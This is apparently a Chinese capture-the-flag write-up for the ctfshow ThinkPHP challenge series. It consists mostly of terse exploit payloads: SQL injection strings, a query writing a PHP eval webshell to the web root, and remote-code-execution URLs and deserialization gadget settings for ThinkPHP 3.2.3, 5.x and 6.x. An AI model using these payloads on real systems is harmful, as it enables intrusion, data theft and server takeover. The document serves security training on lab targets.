当前位置: 代码迷 >> 综合 >> ctfshow web入门(thinkphp专题)
  详细解决方案

ctfshow web入门(thinkphp专题)

热度:85   发布时间:2023-11-26 20:42:22.0

569 URL模式


查阅手册:URL模式 · ThinkPHP3.2.3完全开发手册

http://serverName/index.php/模块/控制器/操作

payload:

普通模式:/?m=Admin&c=Login&a=ctfshowLogin
Pathinfo模式:/index.php/Admin/Login/ctfshowLogin
兼容模式:/?s=/Admin/Login/ctfshowLogin

570 路由

发现路由:

根据手册:

直接构造:这里直接执行不可以,执行两次

571 黑客建立了控制器后门

Thinkphp3.2.3安全开发须知

show 方法参数可控

572 日志路径

Thinkphp3 日志路径
/Application/Runtime/Logs/Home/21_04_15.log

573-574 v3.2.3 find sql注入

/?id[where]=1 and updatexml(1,concat(0x7e,right((select group_concat(flag4s) from flags),22),0x7e),1)?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23

web575

ThinkPHP 3.2.3 反序列化&sql注入漏洞分析

先利用恶意数据库读取题目中使用的数据库信息


修改exp

"table" => "ctfshow_users where 1=2;select \"<?php eval(\$_POST[0]);?>\" into outfile \"/var/www/html/Y0ng2.php\"#",

576

comment 注释注入写shell

Web577

Thinkphp3.2.3 exp注入

?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

web578

变量覆盖导致rce

public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}

跟那个ThinkPHP 3.2.x RCE 差不多

分析这个assign两个参数可控

进入display再进入fetch方法,题目用的时php模板


extract直接覆盖变量$_content

那就在assign有两条路,传入的是字符串或者直接传入数组形式

payload:

?name=_content&from=<?php system('cat /fl*');?>
或者
?name[_content]=<?php phpinfo();?>&from=123

那个3.2.3rce的是在Think模板下,这道题在分析相较简单

Web579-610 TP5 rce

开始thinkphp5 rce

payload一大堆

web606

前几个题找几个payload就行了,到这一道题 input write invokefunction display被过滤,但是大写就绕过了

一个新的通杀:

/?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>

生成shell拼接道$content进行write写入缓存文件



接着去读取,include模板缓存文件


611 TP 5.1 反序列化

thinkphp 5.1.38反序列化RCE

ThinkPHP v5.1.x 反序列化 分析

安洵杯 | Y0ng的博客

612-622 5.1变形

从这道题往后就是 围绕怎么调用input函数或者param来做文章 ,直接搜索谁调用input,然后进行分析即可

调用 param 的:

'var_pjax'         => '',
$this->hook = ['visible'=>[$this,"isPjax"]];

$this->get = ['y0ng'=>'whoami'];
$this->hook = ['visible'=>[$this,"__get"]];

调用 input 的:

$this->hook = ['visible'=>[$this,"request"]];  直接url传参数即可

$this->route = ['y0ng'=>'whoami'];
$this->hook = ['visible'=>[$this,"route"]];

623-625 TP6 反序列化

有个奇怪的地方,题目显示的是6.0.8 但是应该是打不通的,所以题目版本应该错了,用6.0.3就可以了

ThinkPHP v6.0.x 反序列化漏洞 分析

用6.0.9链子 有两种 一种直接eval 或者 还可以写文件